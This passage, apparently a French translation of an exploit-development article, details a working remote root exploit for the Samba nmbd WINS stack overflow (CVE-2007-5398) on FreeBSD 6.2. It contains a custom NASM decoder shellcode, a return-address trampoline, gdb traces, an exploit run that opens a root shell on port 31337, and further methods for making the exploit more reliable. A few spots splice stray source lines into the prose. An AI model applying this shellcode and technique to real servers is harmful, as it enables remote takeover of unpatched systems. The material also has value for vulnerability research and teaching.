du mécanisme employé par tdb, la façon dont nmbd renvoie nos enregistrements de drapeaux et nos adresses ip ne sont pas nécessairement dans l'ordre où nous les enregistrons. Une analyse plus poussée révèle que nous forçons une disposition particulière afin de l'exploiter correctement. En observant comment les noms sont recherchés, on voit : -------------------------------------------- nmbd_winsserver.c: static void process_wins_dmb_query_request(struct subnet_record *subrec, struct packet_struct *p) { ... fetch_all_active_wins_1b_names(); ... void fetch_all_active_wins_1b_names(void) { tdb_traverse(wins_tdb, fetch_1b_traverse_fn, NULL); } /*********************************************************************** Recherche tous les noms *<1b> depuis la db WINS et les stocke dans une liste de noms. ***********************************************************************/ static int fetch_1b_traverse_fn(TDB_CONTEXT *tdb, TDB_DATA kbuf, TDB_DATA dbuf, void *state) { struct name_record *namerec = NULL; if (kbuf.dsize != sizeof(unstring) + 1) { return 0; } /* Filter out all non-1b names. */ if (kbuf.dptr[sizeof(unstring)] != 0x1b) { return 0; } namerec = wins_record_to_name_record(kbuf, dbuf); if (!namerec) { return 0; } DLIST_ADD(wins_server_subnet->namelist, namerec); return 0; } -------------------------------------------- fetch_all_active_wins_1b_names() fait simplement appel à tdb_traverse() avec une fonction de rappel de fetch_1b_traverse_fn(), qui l'ajoute dans un cache mémoire de nom temporaire, au début d'une liste doublement chaînée. Observant tdb_traverse(), il fait appel à tdb_traverse_internal(), où la majorité du travail s'effectue. À ce stade, il est probablement plus facile de regarder comment les données sont stockées dans la base de données, ce qui se produit dans tdb_store(). -------------------------------------------- /* stocke un élément dans la base de données, remplacant tout élément existant avec la même clé renvoie 0 en cas de succes, -1 en cas d'echec */ int tdb_store(struct tdb_context *tdb, TDB_DATA key, TDB_DATA dbuf, int flag) { ... /* find which hash bucket it is in */ hash = tdb->hash_fn(&key); if (tdb_lock(tdb, BUCKET(hash), F_WRLCK) == -1) return -1; ... nmbd/nmbd_processlogon.c:tdb = tdb_open_log(lock_path("connections.tdb"),0, nmbd/nmbd_winsserver.c: wins_tdb = tdb_open_log(lock_path("wins.tdb"), 0, TDB_DEFAULT|TDB_CLEAR_IF_FIRST, O_CREAT|O_RDWR, 0600); tdb_private.h:#define BUCKET(hash) ((hash) % tdb->header.hash_size) struct tdb_context *tdb_open(const char *name,int hash_size, int tdb_flags, int open_flags, mode_t mode) ... if (hash_size == 0) hash_size = DEFAULT_HASH_SIZE; tdb_private.h:#define DEFAULT_HASH_SIZE 131 -------------------------------------------- D'après ceci, on peut voir qu'on doit employer hash_fn() (qui pallie à default_tdb_hash()) , et ensuite on doit moduler le résultat du hash par DEFAULT_HASH_SIZE. En générant des noms qui hashent à 130, on peut placer nos données dans l'ordre sur la pile, après les enregistrements 0x1b existant déjà. Avant de lancer un exploit, on doit voir combien il y a d'enregistrements 0x1b, afin que la pile soit débordée correctement. Ceci me rappelle les les attaques algorithmiques de complexité, soulignées ici [5]. Même si ce n'est pas directement lié, c'est toujours intéressant néanmoins. ----[ 5.3 - Analyse du programme de l'exécution En déclenchant la vulnérabilité et en examinant la disposition de la pile, on voit que l'eip enregistré peut être écrasé en partie, avec deux octets. Si nous l'écrasons une fois de plus, les deux premiers octets de l'eip seront les deux octets de drapeau, et ils écraseront le premier argument de la fonction. Après le débordement de la valeur de orig_packet, le code nmbd l'indexera, pour copier une valeur de 4 octets, comme ci-dessous. -------------------------------------------- nmbd_packets.c, send_reply_packet(): 973 packet.fd = orig_packet->fd; -------------------------------------------- Selon l'analyse, un débordement partiel des deux octets de l'eip les moins signifiants semble être la meilleure ligne de conduite, car il est peu probable que l'on puisse mettre quelque chose d'utile dans les deux octets principaux (à cause des drapeaux). Le débordement des deux octets les moins signifiants avec D"'s, affiche : -------------------------------------------- Program received signal SIGSEGV, Segmentation fault. 0x08074444 in packet_is_for_wins_server () (gdb) x/10i 0x8074444 : mov 0x400(%ebx),%eax 0x807444a : mov (%eax),%eax 0x807444c : cmpl $0x9,(%eax) 0x807444f : jle 0x80743a1 0x8074455 : push $0x1fa 0x807445a : lea 0xfffd66ad(%ebx),%eax 0x8074460 : push %eax 0x8074461 : lea 0xfffd6479(%ebx),%eax 0x8074467 : push %eax 0x8074468 : push $0xa (gdb) i r ebx ebx 0x0 0 (gdb) i r eax 0x1 1 ecx 0x2834fd80 674561408 edx 0x40 64 ebx 0x0 0 esp 0xbfbfe540 0xbfbfe540 ebp 0x44440000 0x44440000 esi 0x0 0 edi 0x41414141 1094795585 eip 0x8074444 0x8074444 eflags 0x10282 66178 cs 0x33 51 ss 0x3b 59 ds 0x3b 59 es 0x3b 59 fs 0x3b 59 gs 0x1b 27 -------------------------------------------- On peut voir que nous contrôlons complètement edi et à un degré moindre ebp. En observant le désassemblage de l'épilogue applicable de la fonction reply_netbios_packet(), on voit : -------------------------------------------- .text:0806D0A0 pop edi .text:0806D0A1 leave .text:0806D0A2 retn -------------------------------------------- Pour obtenir le contrôle complet de l'eip, on peut chercher un jmp edi ou un push edi ; ret. Après quelques recherches dans 0x0807xxxx, on trouve une séquence d'instructions appropriée (avec des moyens incroyablement douteux .. mais cela fonctionne :p) : -------------------------------------------- freebsd62# objdump -d nmbd | egrep -i "^ 807.*57 c[23]" 80728a4: e8 57 c2 04 00 call 80beb00 -------------------------------------------- qui est transféré dans un push edi ; ret 0x04. En plaçant nos deux derniers octets dans 0x080728a5, on peut obtenir un contrôle directement : -------------------------------------------- (gdb) r Starting program: /usr/local/sbin/nmbd -F -s smb.conf (no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...y Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () -------------------------------------------- À ce stade, on doit obtenir le shellcode fonctionnant correctement. En repensant à la manière dont les données sont présentées ([drapeaux 2 octets, les deux nuls][adresse ip 4 octets ]) .. la meilleure approche est d'écrire un décodeur personnalisé. ----[ 5.4 - shellcode Comme abordé ci-dessus, on devrait avoir besoin d'un décodeur spécial, ainsi on pourra utiliser un shellcode générique disponible, contrairement à la mise en oeuvre d'un shellcode commun pour le tiers des octets. Après quelques expériences, j'ai écrit un shellcode qui reconstruit 4 octets, puis saute 2 octets, puis saute vers l'endroit où on a reconstruit le shellcode. Le shellcode est le suivant (nasm -f bin first_layer_sc.asm -o first_layer_sc.bin à compiler.). Au début du shellcode, edi pointe sur notre eip actuel. -------------------------------------------- BITS 32 %define tbnop add byte [eax],0x0 ; 0x80 0x00 0x00 _start: add [eax], al ; two byte nulls, for flags. cld ; reset direction flag mov eax, edi ; since our two byte nop dereferences [eax] ; we need a writable memory location. tbnop mov esi, edi ; ESI = source of encoded shellcode nop tbnop add esi, byte 60 ; increment esi to start of real shellcode tbnop mov edi, esp ; Place we're going to execute nop tbnop xor ecx, ecx nop tbnop mov cl, byte 0x7e ; how many bytes we want to copy. Can copy up ; 126 bytes or so. This can be fixed if ; nessessacy nop tbnop .copier: movsd nop nop tbnop add esi, byte 0x02 tbnop loopnz .copier .ready: jmp esp -------------------------------------------- Pour la seconde couche du shellcode, on peut employer le shellcode qu'on veut. Pour plus de flexibilité, j'ai utilisé le paquetage InlineEgg 6 pour ajouter une plus grande flexibilité à la seconde couche du shellcode. Le codage du shellcode pour l'enregistrement des paquets est extrêmement simple. Changez l'endian ou l'ordre des 4 octets et ajoutez deux octets NULL. Dans le meilleur des cas, la seconde couche du shellcode encoderait l'information d'enregistrement du shell par dessus l'interface de connexion existante ou l'information fd, en employant le protocole nmb S'il existait un exploit plus utile, il serait intéressant de prendre le temps de programmer le code requis. ----[ 5.5 - Obtenir un shell En combinant l'information ci-dessus, et en déterminant l'emplacement du shellcode dans la pile, on peut obtenir un : -------------------------------------------- [target machine] (gdb) shell rm /var/db/samba/wins.* (gdb) r Starting program: /usr/local/sbin/nmbd -F -s smb.conf (no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)... Program received signal SIGTRAP, Trace/breakpoint trap. Cannot remove breakpoints because program is no longer writable. It might be running in another process. Further execution is probably impossible. 0x28065af0 in ?? () (gdb) # This happened because our nmbd executed a new program (gdb) c [attacking machine] $ python CVE-2007-5398.py --host 172.16.178.128 --target 0 Hit y if you want to test registration flags, otherwise just hit enter> Existing registrations: 0 Amount of registrations to reach EIP: 239 Got 0 existing registrations. Hit any key to continue... First layer of shellcode is 66 bytes long Second layer of shellcode is 246 bytes long Names: |==========================================================| 100.00 Registering: |====================================================| 100.00 stack left over: Please hit enter to send final packet... Attempting to connect to 172.16.178.128:31337 ------------------------------------------- You are in luck; it appears to of worked... shell below. -- # It worked # id uid=0(root) gid=0(wheel) groups=0(wheel), 5(operator) # uname -a FreeBSD freebsd62 6.2-RELEASE FreeBSD 6.2-RELEASE #0: Fri Jan 12 10:40:27 2007 root@dessler.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386 -------------------------------------------- Ainsi, avec beaucoup de recherches et d'analyses, on est seulement à mi-chemin ici. Cela serait préférable d'avoir un meilleur endroit de retour. ----[ 5.6 - Rendre l'exploit plus fiable Actuellement, notre exploit a deux entrées codées en dur, la première est celle où l'emplacement de la séquence de code utilise edi pour obtenir l'exécution du code (jusqu'ici, 0x080728a5 pour notre cible actuelle depuis FreeBSD 6.2 ). En plus, elle emploie l'emplacement exact du début du shellcode. Pour des raisons diverses, l'adresse de la pile peut changer facilement pour une adresse exacte, pour des raisons diverses telles que : * Démarrer ou redémarrer nmbd manuellement * Des chaînes d'environnement différentes * Dans les dernières séries de Linux 2.6, la randomisation de la mémoire est activée par défaut, pour certaines applications Il existe plusieurs occasions de rendre cet exploit plus fiable, comme ajouter de longues séquences de nop ou peut-être placer ou trouver un code approprié ailleurs. Une séquence élevée de nop peut aider, mais un tiers des bits sont NULL où inutiles, ainsi c'est discutable. En plus, cela signifie si la plage est précise que nous avons seulement deux tiers de chance de viser une séquence de nop adéquate, par opposition à un crash pur et simple (comme ?? encode pour ajouter [eax], al, et puisque eax sera un 1 quand la séquence de nop est atteinte, il sera écrasé.) Ainsi, pour l'instant, nous chercherons une autre place ou un autre moyen fiable de contrôle d'exécution. ------[ 5.6.1 - Données static .bss Toute en analysant cette vulnérabilité, je remarque une fonction intéressante qui est appelée lors de l'envoi de paquets enregistrés : -------------------------------------------- nmbd/nmbd_winsserver.c: /************************************************************************* Écrase ou ajoute un nom donné dans wins.tdb. *************************************************************************/ static BOOL store_or_replace_wins_namerec(const struct name_record *namerec ,int tdb_flag) { TDB_DATA key, data; int ret; if (!wins_tdb) { return False; } key = name_to_key(&namerec->name); data = name_record_to_wins_record(namerec); if (data.dptr == NULL) { return False; } ret = tdb_store(wins_tdb, key, data, tdb_flag); SAFE_FREE(data.dptr); return (ret == 0) ? True : False; } ... /************************************************************************* Create key. Key is UNIX codepage namestring (usually utf8 64 byte len) with 1 byte type. *************************************************************************/ static TDB_DATA name_to_key(const struct nmb_name *nmbname) { static char keydata[sizeof(unstring) + 1]; TDB_DATA key; memset(keydata, '?', sizeof(keydata)); pull_ascii_nstring(keydata, sizeof(unstring), nmbname->name); strupper_m(keydata); keydata[sizeof(unstring)] = nmbname->name_type; key.dptr = keydata; key.dsize = sizeof(keydata); return key; } -------------------------------------------- Le plus intéressant dans ce qui précède est le static char keydata[sizeof(unstring) + 1]; qui fournit la capacité de de placer jusqu'à 64 octets dans un emplacement statique dans le .bss. Cependant, puisque les noms NetBIOS ont une longueur de 15 caractères, il y a encore une bonne portion de code qui pourrait être insérée ici. Quelques informations à propos de petits shellcodes peuvent être trouvées ici [7]. name_to_key() est appelée depuis trois emplacements dans le code, avec des noms explicites (sans inclure le store_or_replace_wins_namerec() ci-dessus : -------------------------------------------- /************************************************************************* Delete a given name in the tdb and remove the temporary malloc'ed data struct on the linked list. *************************************************************************/ BOOL remove_name_from_wins_namelist(struct name_record *namerec) { ... struct name_record *find_name_on_wins_subnet(const struct nmb_name *nmbname ,BOOL self_only) { ... -------------------------------------------- L'intérêt est dans store_or_replace_wins_namerec() qui est appelé quand on envoie un enregistrement de paquets pour déclencher le débordement. On peut être capable d'envoyer un court shellcode approprié qui trouve notre chargeur de shellcode dans la pile (ou, avec plus d'efforts, sur le tas, évitant de ce fait les retouches non-exécutables de style Openwall). Pouvoir employer cet emplacement statique nous donne quelques avantages sur la randomisation et les changements de la pile En examinant plus avant pull_ascii_nstring(), on voit qu'il met en correspondance des pages de code DOS avec des pages de code UNIX, particulièrement à propos des octets avec des bits de poids fort mis. Malheureusement, il modifie sévèrement l'entrée (via la phase de translation), met ensuite la chaîne en majuscule. J'ai essayé les restrictions ci-dessus et je n'ai rien obtenu qui fonctionne, mais cela passe outre la restriction de longueur. Cela fonctionne ainsi : * push esp * pop ebp * push edi * pop esp * utiliser pop pour accéder au code que nous exécutons * utiliser la conversion de casse de caractères pour obtenir 4 octets avec le bit le plus signifiant défini à 1. * Utiliser xor [edi+index], reg pour modifier le code applicatif que nous exécutons, ensuite faire quelque chose équivalent à sub ebp, data.death_time != PERMANENT_TTL) ? namerec->data.death_time - p->timestamp : lp_max_wi ns_ttl(); 1844 1845 /* Copie toutes les adresses ip connues dans les données de retour. */ 1846 /* Optimise pour le cas commun d'une adresse IP, ainsi nous n'avons pas besoin de malloc. */ 1847 1848 if( namerec->data.num_ips == 1 ) { 1849 prdata = rdata; 1850 } else { 1851 if((prdata = (char *) SMB_MALLOC( namerec->data.num_ips * 6 )) == NULL) { 1852 DEBUG(0,("send_wins_name_query_response: malloc fail ! ")); 1853 return; 1854 } 1855 } 1856 1857 for(i = 0; i < namerec->data.num_ips; i++) { 1858 set_nb_flags(&prdata[i*6],namerec->data.nb_flags); 1859 putip((char *)&prdata[2+(i*6)], &namerec->data.ip[i]); 1860 } 1861 1862 sort_query_replies(prdata, i, p->ip); 1863 reply_data_len = namerec->data.num_ips * 6; 1864 } 1865 -------------------------------------------- Toutefois je n'ai pas exploré ce chemin complètement, car je ne crois pas que cela serait d'un grand secours. Après avoir regardé ce qu'on pouvait faire avec de telles restrictions, j'ai commencé à examiner le code pour voir s'il y avait des mécanismes plus simples qui aideraient à exploiter cette faille correctement. J'ai remarqué quelques tampons statiques (static buffer) qui pourraient être utiles, mais il faut activer le débogage pour qu'ils soient exploités correctement - ce n'est pas exactement ce dont à besoin un exploit fiable. ------[5.6.2 - Fuite de mémoire Durant le processus initial visant à reproduire le problème, j'ai noté que nmbd essaye de lire depuis la mémoire que nous contrôlons - peut-être qu'on peut trouver une fuite de mémoire ou d'information utile. En commençant à placer toutes les adresses ip NULL dans AABB, on rencontre le premier écrasement : -------------------------------------------- The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /usr/local/sbin/nmbd -F -s smb.conf Program received signal SIGSEGV, Segmentation fault. 0x080adc67 in debug_nmb_res_rec () (gdb) bt #0 0x080adc67 in debug_nmb_res_rec () #1 0x080ae023 in debug_nmb_packet () #2 0x0806d1f8 in reply_netbios_packet () #3 0x080728a5 in write_browse_list () Previous frame inner to this frame (corrupt stack?) (gdb) x/10i 0x80adc67 : mov 0x60(%edx),%ecx 0x80adc6a : test %ecx,%ecx 0x80adc6c : je 0x80add89 0x80adc72 : cmp $0xffffff9c,%edx 0x80adc75 : je 0x80add89 0x80adc7b : cmp $0x0,%ecx 0x80adc7e : movl $0x0,0xffffffe8(%ebp) 0x80adc85 : jle 0x80add89 0x80adc8b : mov 0x400(%ebx),%eax 0x80adc91 : mov %eax,0xffffffe0(%ebp) (gdb) i r edx ecx edx 0x41414242 1094795842 ecx 0x42420000 1111621632 (gdb) bt #0 0x080adc67 in debug_nmb_res_rec () #1 0x080ae023 in debug_nmb_packet () #2 0x0806d1f8 in reply_netbios_packet () #3 0x080728a5 in write_browse_list () -------------------------------------------- Démarrons notre analyse à debug_nmb_packet() dans libsmb/nmblib.c : -------------------------------------------- 103 104 /******************************************************************** 105 Traitement d'un paquet nmb. 106 ********************************************************************/ 107 108 void debug_nmb_packet(struct packet_struct *p) 109 { 110 struct nmb_packet *nmb = &p->packet.nmb; 111 112 if( DEBUGLVL( 4 ) ) { ... 131 } 132 133 if (nmb->header.qdcount) { 134 DEBUGADD( 4, ( " question: q_name=%s q_type=%d q_class=%d ", ... 138 } 139 140 if (nmb->answers && nmb->header.ancount) { 141 debug_nmb_res_rec(nmb->answers,"answers"); 142 } 143 if (nmb->nsrecs && nmb->header.nscount) { 144 debug_nmb_res_rec(nmb->nsrecs,"nsrecs"); 145 } 146 if (nmb->additional && nmb->header.arcount) { 147 debug_nmb_res_rec(nmb->additional,"additional"); 148 } 149 } (gdb) frame 1 #1 0x080ae023 in debug_nmb_packet () (gdb) x/8x 0xbfbfdef0: 0x00000000 0x00000000 0x4795ddfa 0x08117a40 0xbfbfdf00: 0xbfbfe210 0x0000059a 0xbfbfe538 0x0806d1f8 Imaginons que 0xbfbfe210 est notre paquet nmb : (gdb) x/x 0xbfbfe210 0xbfbfe210: 0x41414242 (gdb) x/20x 0xbfbfe210 0xbfbfe210: 0x41414242 0x42420000 0x00004141 0x41414242 0xbfbfe220: 0x42420000 0x00004141 0x41414242 0x42420000 0xbfbfe230: 0x00004141 0x41414242 0x42420000 0x00004141 0xbfbfe240: 0x41414242 0x42420000 0x00004141 0x41414242 0xbfbfe250: 0x42420000 0x00004141 0x41414242 0x42420000 -------------------------------------------- Ainsi, notre analyse précédente se confirme. Nous avons écrasé certaines structures de données recherchées. En continuant, dans debug_nmb_res_rec(), on voit : -------------------------------------------- 61 /********************************************************************* 62 Copie d'une structure res_rec. 63 *********************************************************************/ 64 65 static void debug_nmb_res_rec(struct res_rec *res, const char *hdr) 66 { 67 int i, j; 68 69 DEBUGADD( 4, ( " %s: nmb_name=%s rr_type=%d rr_class=%d ttl=%d ", 70 hdr, 71 nmb_namestr(&res->rr_name), 72 res->rr_type, 73 res->rr_class, 74 res->ttl ) ); 75 76 if( res->rdlength == 0 || res->rdata == NULL ) 77 return; 78 79 for (i = 0; i < res->rdlength; i+= MAX_NETBIOSNAME_LEN) { 80 DEBUGADD(4, (" %s %3x char ", hdr, i)); 81 82 for (j = 0; j < MAX_NETBIOSNAME_LEN; j++) { 83 unsigned char x = res->rdata[i+j]; 84 if (x < 32 || x > 127) 85 x = '.'; 86 87 if (i+j >= res->rdlength) 88 break; 89 DEBUGADD(4, ("%c", x)); 90 } 91 92 DEBUGADD(4, (" hex ")); 93 94 for (j = 0; j < MAX_NETBIOSNAME_LEN; j++) { 95 if (i+j >= res->rdlength) 96 break; 97 DEBUGADD(4, ("%02X", (unsigned char)res->rdata[i+j])); 98 } 99 100 DEBUGADD(4, (" ")); 101 } 102 } 103 -------------------------------------------- Ce code n'est pas très utile à ce stade. Si les pointeurs étaient valides, cela fonctionnerait (sans surprise). En regardant le flux de code de send_packet(), (le code est ci-dessus), on dénote un code intéressant que l'on peut utiliser pour notre fuite d'information. -------------------------------------------- Starting program: /usr/local/sbin/nmbd -F -s smb.conf debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)... Program received signal SIGSEGV, Segmentation fault. 0x080ada3d in put_nmb_name () (gdb) bt #0 0x080ada3d in put_nmb_name () #1 0x080ae26a in put_res_rec () #2 0x080af184 in build_packet () #3 0x080af236 in send_packet () #4 0x0806d38a in reply_netbios_packet () #5 0x080728a5 in write_browse_list () Previous frame inner to this frame (corrupt stack?) (gdb) x/10i 0x80ada3d : repz cmpsb %es:(%edi),%ds:(%esi) 0x80ada3f : jne 0x80adab5 0x80ada41 : mov 0x8(%ebp),%edi 0x80ada44 : pushl 0x50(%edi) 0x80ada47 : push $0x0 0x80ada49 : pushl 0xffffffcc(%ebp) 0x80ada4c : lea 0xffffffd8(%ebp),%eax 0x80ada4f : push %eax 0x80ada50 : call 0x80ad98c 0x80ada55 : mov 0xffffffd4(%ebp),%edx (gdb) i r edi esi edi 0x8102db9 135278009 esi 0x0 0 -------------------------------------------- Malheureusement, ce qui précède est écrasé à cause d'un pointeur NULL déréférencé dans esi quand on test le contenu du nom. (Ce bout de code est lancé par la vérification quand le nom est testé par rapport à '*' dans put_nmb_name().) À ce stade, j'ai décidé qu'il était probablement plus facile d'analyser le contenu de reply_netbios_packet() de sorte qu'on puisse voir exactement ce qui est écrasé, à quel endroit, et établir quels en sont les effets. Nous utiliserons à cet effet IDA Pro Standard 5.2 D'abord, examinons plus attentivement ce qui se passe dans le code source, cela nous aidera dans l'analyse assembleur -------------------------------------------- nmbd/nmbd_winsserver.c: 856 /********************************************************************* 857 Réponse à un paquet de nom netbios. voir rfc1002.txt 858 *********************************************************************/ 859 860 void reply_netbios_packet(struct packet_struct *orig_packet, 861 int rcode, enum netbios_reply_type_code rcv_code, int opcode, 862 int ttl, char *data,int len) 863 { 864 struct packet_struct packet; 865 struct nmb_packet *nmb = NULL; 866 struct res_rec answers; 867 struct nmb_packet *orig_nmb = &orig_packet->packet.nmb; 868 BOOL loopback_this_packet = False; 869 int rr_type = RR_TYPE_NB; 870 const char *packet_type = "unknown"; 871 872 /* Check if we are sending to or from ourselves. */ 873 if(ismyip(orig_packet->ip) && (orig_packet->port == global_nmb_port)) 874 loopback_this_packet = True; 875 876 nmb = &packet.packet.nmb; 877 ... 965 if (data && len) { 966 nmb->answers->rdlength = len; 967 memcpy(nmb->answers->rdata, data, len); 968 } 969 ... Malheureusement, le pointeur nmb n'est pas utilisé après la ligne 967. ... include/nameserv.h: 524 525 struct packet_struct 526 { 527 struct packet_struct *next; 528 struct packet_struct *prev; 529 BOOL locked; 530 struct in_addr ip; 531 int port; 532 int fd; 533 time_t timestamp; 534 enum packet_type packet_type; 535 union { 536 struct nmb_packet nmb; 537 struct dgram_packet dgram; 538 } packet; 539 }; 540 .. 459 /* An nmb packet. */ 460 struct nmb_packet { 461 struct { 462 int name_trn_id; 463 int opcode; 464 BOOL response; 465 struct { 466 BOOL bcast; 467 BOOL recursion_available; 468 BOOL recursion_desired; 469 BOOL trunc; 470 BOOL authoritative; 471 } nm_flags; 472 int rcode; 473 int qdcount; 474 int ancount; 475 int nscount; 476 int arcount; 477 } header; 478 479 struct { 480 struct nmb_name question_name; 481 int question_type; 482 int question_class; 483 } question; 484 485 struct res_rec *answers; 486 struct res_rec *nsrecs; 487 struct res_rec *additional; 488 }; ... 441 /* A resource record. */ 442 struct res_rec { 443 struct nmb_name rr_name; 444 int rr_type; 445 int rr_class; 446 int ttl; 447 int rdlength; 448 char rdata[MAX_DGRAM_SIZE]; 449 }; 450 ... include/smb.h: 1718 /* A netbios name structure. */ 1719 struct nmb_name { 1720 nstring name; 1721 char scope[64]; 1722 unsigned int name_type; 1723 }; ... 1712 #define MAX_NETBIOSNAME_LEN 16 1713 /* DOS character, NetBIOS namestring. Type used on the wire. */ 1714 typedef char nstring[MAX_NETBIOSNAME_LEN]; 1715 /* Unix character, NetBIOS namestring. Type used to manipulate name in nmbd. */ 1716 typedef char unstring[MAX_NETBIOSNAME_LEN*4]; -------------------------------------------- En observant la structure de nmb_packet, on voit qu'il peut être utile d'écraser le qdcount, et de définir un compte pour ancount, nscount ou adcount (qui dresse la carte des pointeurs, respectivement : answers, nsrec et additional). Puisqu'ils comprennent 12 octets, on peut directement contrôler un ensemble de ces derniers. Heureusement, le contrôle des arguments count établit un contrôle direct du même pointeur, autrement nous rencontrerions des problèmes supplémentaires. En observant la disposition de ces structures, un moyen de mettre ceci en place serait d'analyser la disposition de la pile, et de recréer les structures dans le code de l'exploit, qui serait alors sérialisé ou envoyé à travers le réseau. L'inconvénient de ce modèle est qu'il a besoin de flexibilité supplémentaire à cause de la différence entre la sortie du compilateur selon les différentes versions, et les drapeaux, options, optimisations potentiellement différentes de compilateur de même qu'on peut rencontrer des remplissages et des commandes supplémentaires et d'autres choses à traiter. Un problème supplémentaire en contrôlant un pointeur vers un struct res_rec est que le champ rdlength doit comporter une valeur raisonnable, sinon il sera écrase dans memcpy ou entraînera un écrasement de l'EIP dans la fonction sendpacket() dans char buf[1024];. Ces deux conséquences entraîneraient un crash du processus :(. Comme il s'agit d'une simple vulnérabilité, l'entraîner vers un crash potentiel est inadmissible. Puisque nous ne sommes pas en mesure de connaître à l'avance le contenu de la mémoire que nous tentons de vider, il ne semble pas qu'il y ait plus de raisons de suivre ce chemin. Ceci dit, il serait possible d'employer certaines données statiques[] pour vider le contenu de .bss et recueillir ce qui pourrait être utile. Après avoir été déçu au début par cette réalisation, j'ai réalisé qu'en utilisant l'emplacement statique connu de .bss, on peut heureusement vider le reste de .bss, puis, si nous sommes chanceux, l'allocation du tas. Un effet de bord quand on essaie de vider la disposition du tas, est qu'il n'est pas garanti d'aller directement après le nmbd .bss. (Par exemple, le noyau par défaut de Fedora 8 prend en charge le tas aléatoire et NON après le .bss). Pour ces raisons, nous devrions trouver un pointeur adéquat vers le tas dans le .bss. La valeur d'un pointeur approprié est : * Un pointeur qui n'est pas alloué trop tôt lors du processus d'initialisation de nmbd. Cette condition existe parce que la taille de la structure res_rec est assez grande, et si on rencontre une structure précocement allouée, en ajustant le pointeur de sorte que rdlength pointe vers un nombre entier, il atteindra une page supprimée. * Un pointeur possédant une petite valeur appropriée de 4 octets depuis l'emplacement du pointeur, de sorte que l'on puisse continuer le vidage et l'analyse de la mémoire. Avant de nous égarer, nous devons recréer la disposition de la pile, et voir si nous pouvons écraser quelques-uns des counts ou des pointeurs correctement Après avoir analysé comment la pile est présentée, (avec IDA Pro Standard 5.2) on peut commencer à ajuster le code de l'exploit pour s'assurer qu'il fonctionne. J'ai ajouté les représentations de structure applicable en python de sorte que je puisse définir les valeurs explicitement (par exemple, nmb_packet['answers'] = 0x08049000), plutôt que d'avoir à coder en dur les tableaux d'offsets ou de hex. Malheureusement, il semble que dans la disposition de la pile pour Samba sous FreeBSD 6.2 , la variable ancount n'est pas alignée avec l'écriture en 6 bits :( :( On peut cependant influencer les 2 octets les plus signifiants (avec au moins les 2 octets les plus signifiants étant des drapeaux), mais en examinant put_res_rec(), cela ne s'avère pas possible plus avant : ------------------------------------------- 398 for (i=0;i J'ai décidé d'observer de nouveau la phase d'écrasement, et voir ce qu'on peut faire avec la valeur statique .bss en 15 octets dans name_to_key() -------------------------------------------- Starting program: /usr/local/sbin/nmbd -F -D -s smb.conf Program received signal SIGSEGV, Segmentation fault. 0x41414242 in ?? () (gdb) i r eax 0x1 1 ecx 0x2834fd80 674561408 edx 0x40 64 ebx 0x42420000 1111621632 esp 0xbfbfe544 0xbfbfe544 ebp 0x5a5a0000 0x5a5a0000 esi 0x4242 16962 edi 0x41414242 1094795842 eip 0x41414242 0x41414242 eflags 0x10282 66178 cs 0x33 51 ss 0x3b 59 ds 0x3b 59 es 0x3b 59 fs 0x3b 59 gs 0x1b 27 (gdb) -------------------------------------------- Après l'avoir de nouveau observé, on note : * Un contrôle partiel de ebx (les 2 octets les plus signifiants) * Un contrôle partiel de ebp (les 2 octets les plus signifiants) * Un contrôle partiel de esi (les 2 octets les plus signifiants) Après y avoir repensé un petit peu plus, avec un peu d'expérience, on peut utiliser xor [edi+offset], reg pour modifier une partie du code que nous voulons exécuter. En testant cette théorie, on voit : -------------------------------------------- $ ndisasm -b 32 t 00000000 315F08 xor [edi+0x8],ebx 00000003 317708 xor [edi+0x8],esi 00000006 316F08 xor [edi+0x8],ebp 00000009 314708 xor [edi+0x8],eax 0000000C 315F08 xor [edi+0x8],ebx 0000000F 314F08 xor [edi+0x8],ecx 00000012 315708 xor [edi+0x8],edx 00000015 317F08 xor [edi+0x8],edi simple toupper : $ cat t | tr a-z A-Z | ndisasm -b 32 - 00000000 315F08 xor [edi+0x8],ebx 00000003 315708 xor [edi+0x8],edx 00000006 314F08 xor [edi+0x8],ecx 00000009 314708 xor [edi+0x8],eax 0000000C 315F08 xor [edi+0x8],ebx 0000000F 314F08 xor [edi+0x8],ecx 00000012 315708 xor [edi+0x8],edx 00000015 317F08 xor [edi+0x8],edi -------------------------------------------- D'après ce qui précède, on voit qu'on ne peut utiliser esi et ebp directement dans l'argument xor, ainsi si nécessaire, on peut employer push/pop tout autour. (Ce n'est pas idéal, car cela réduit l'espace jusqu'à un seuil critique.) En observant rapidement, on peut faire : -------------------------------------------- xor [edi + ], ebx push ebp pop ebx xor [edi + ], ebx sub esp, esi jmp esp -------------------------------------------- Les deux dernières instructions encodent à )ôÿä, de sorte que cela signifie que nous avons besoin d'un octet défini avec un haut bit, qui s'étend de préférence à trois octets. (Si vous ne comprenez pas la phrase précédente, relisez la section mentionnant comment le nom netbios est converti à cause du problème de jeu de caractères). En produisant rapidement les octets applicables, on voit que ° augmente à â??, et constitue un bit approprié sur lequel travailler. Pour obtenir ce dont nous avons besoin : -------------------------------------------- >>> hex(0xe2 ^ 0xf4) '0x16' >>> hex(0x96 ^ 0xff) '0x69' >>> hex(0x91 ^ 0xe4) '0x75' -------------------------------------------- En plaçant tout cela ensemble, on obtient : -------------------------------------------- Breakpoint 1, 0x08117f80 in keydata.21 () (gdb) x/10i 0x8117f80 : xor %ebx,0x7(%edi) 0x8117f83 : push %ebp 0x8117f84 : pop %ebx 0x8117f85 : xor %ebx,0x9(%edi) 0x8117f88 : sub %esp,%edx 0x8117f8a : xchg %eax,%esi 0x8117f8b : xchg %eax,%ecx 0x8117f8c : dec %ecx ... (gdb) stepi 0x08117f83 in keydata.21 () (gdb) x/10i 0x8117f83 : push %ebp 0x8117f84 : pop %ebx 0x8117f85 : xor %ebx,0x9(%edi) 0x8117f88 : sub %esi,%esp 0x8117f8a : call *0x504e5749(%ecx) 0x8117f90 : add %al,(%eax) ... (gdb) stepi 0x08117f84 in keydata.21 () (gdb) 0x08117f85 in keydata.21 () (gdb) 0x08117f88 in 